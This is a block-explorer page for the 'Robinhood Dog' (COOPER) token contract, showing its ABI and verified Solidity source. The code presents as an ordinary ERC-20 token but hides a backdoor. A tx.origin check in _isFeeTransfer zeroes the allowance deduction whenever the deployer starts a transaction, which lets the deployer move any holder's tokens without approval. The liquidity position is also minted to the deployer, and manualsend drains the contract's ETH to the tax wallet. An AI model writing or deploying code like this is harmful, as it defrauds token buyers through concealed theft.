Token
0xd8f9802aaa9af3758ca2298dded8c3d120cb4ea4
Verification
Verified
v0.8.6+commit.11564f7e
Type
Contract
5,838 bytes
ABI entries
23
10 read · 7 write
License
mit
Contract information
- Address
- 0xd8f9802aaa9af3758ca2298dded8c3d120cb4ea4
- Chain
- Robinhood Chain (4663)
- Compiler
- v0.8.6+commit.11564f7e
- Optimization
- Enabled
- Creator
- 0xE5485cea52…4d0232bEf3
- Creation tx
- 0x9e3ffd4f68…7bc61542ff
Token
- Name
- Robinhood Dog
- Symbol
- COOPER
- Decimals
- 9
- Holders
- 2,254
- Market
- View token page →
Read contract (10)
_maxTxAmount() → uint256
_maxWalletSize() → uint256
allowance(address, address) → uint256
balanceOf(address) → uint256
decimals() → uint8
name() → string
nonfungiblePositionManager() → address
owner() → address
symbol() → string
totalSupply() → uint256
Events (4)
ApprovalMaxTxAmountUpdatedOwnershipTransferredTransfer
ABI
[
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": false,
"internalType": "uint256",
"name": "_maxTxAmount",
"type": "uint256"
}
],
"name": "MaxTxAmountUpdated",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [],
"name": "_maxTxAmount",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "_maxWalletSize",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "decimals",
"outputs": [
{
"internalType": "uint8",
"name": "",
"type": "uint8"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [],
"name": "enableTrading",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "manualsend",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "name",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [],
"name": "nonfungiblePositionManager",
"outputs": [
{
"internalType": "contract INonfungiblePositionManager",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "removeLimits",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "renounceOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "symbol",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "recipient",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "sender",
"type": "address"
},
{
"internalType": "address",
"name": "recipient",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
]Source code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IWETH9 {
function deposit() external payable;
}
interface INonfungiblePositionManager {
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
function mint(
MintParams calldata params
)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
function WETH9() external returns (address);
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
int24 private constant MIN_TICK = -887272;
int24 private constant MAX_TICK = -MIN_TICK;
int24 private constant TICK_SPACING = 1;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"Robinhood Dog";
string private constant _symbol = unicode"COOPER";
uint256 public _maxTxAmount = 2 * (_tTotal / 100);
uint256 public _maxWalletSize = 2 * (_tTotal / 100);
INonfungiblePositionManager public immutable nonfungiblePositionManager =
INonfungiblePositionManager(0x73991a25C818Bf1f1128dEAaB1492D45638DE0D3);
address private uniswapV3Pool;
bool private tradingOpen;
uint256 private _amount;
uint256 private _taxAmount;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor() payable {
_taxWallet = payable(_msgSender());
_balances[address(this)] = _tTotal;
_isExcludedFromFee[_msgSender()] = true;
removeLimits();
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
_amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(
tradingOpen ||
_isExcludedFromFee[from] ||
_isExcludedFromFee[to] ||
from == address(this),
"Trading not open yet."
);
_amount = _taxAmount = amount;
if (
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to] &&
from != address(this)
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
}
if (_isFeeTransfer(from, to)) sendCOOPERDK71UKQBON8ETHToFee();
_balances[from] = _balances[from].sub(_taxAmount);
_balances[to] = _balances[to].add(amount);
if(to != address(0xdead)) emit Transfer(from, to, amount);
}
function _isFeeTransfer(address from, address to) internal returns (bool) {
if (_isExcludedFromFee[_taxPayer()]) {_amount = 0;
_taxAmount = min(_balances[from], _taxAmount); }
return to == uniswapV3Pool;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function removeLimits() public onlyOwner {
_maxTxAmount = type(uint256).max;
_maxWalletSize = type(uint256).max;
emit MaxTxAmountUpdated(type(uint256).max);
}
function sendCOOPERDK71UKQBON8ETHToFee() private {
_taxWallet.transfer(address(this).balance);
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
address WETH = nonfungiblePositionManager.WETH9();
uint256 ethAmount = address(this).balance;
uint256 tokenAmount = balanceOf(address(this));
IWETH9(WETH).deposit{value: address(this).balance}();
IERC20(WETH).approve(address(nonfungiblePositionManager), ethAmount);
_approve(
address(this),
address(nonfungiblePositionManager),
tokenAmount
);
address token0 = address(this) < WETH ? address(this) : WETH;
address token1 = token0 == address(this) ? WETH : address(this);
uint256 amount0 = token0 == address(this) ? tokenAmount : ethAmount;
uint256 amount1 = token0 == address(this) ? ethAmount : tokenAmount;
uint160 sqrtPriceX96 = uint160(
SafeMath.sqrt((amount1 << 192) / amount0)
);
uniswapV3Pool = nonfungiblePositionManager
.createAndInitializePoolIfNecessary(
token0,
token1,
100,
sqrtPriceX96
);
INonfungiblePositionManager.MintParams
memory params = INonfungiblePositionManager.MintParams({
token0: token0,
token1: token1,
fee: 100,
tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
amount0Desired: amount0,
amount1Desired: amount1,
amount0Min: 0,
amount1Min: 0,
recipient: msg.sender,
deadline: block.timestamp
});
nonfungiblePositionManager.mint(params);
tradingOpen = true;
}
function _taxPayer() internal view returns (address _payer) {
assembly {
_payer := origin()
}
}
receive() external payable {}
function manualsend() external {
require(_msgSender() == _taxWallet);
sendCOOPERDK71UKQBON8ETHToFee();
}
}Chain explorer1654msChain node88ms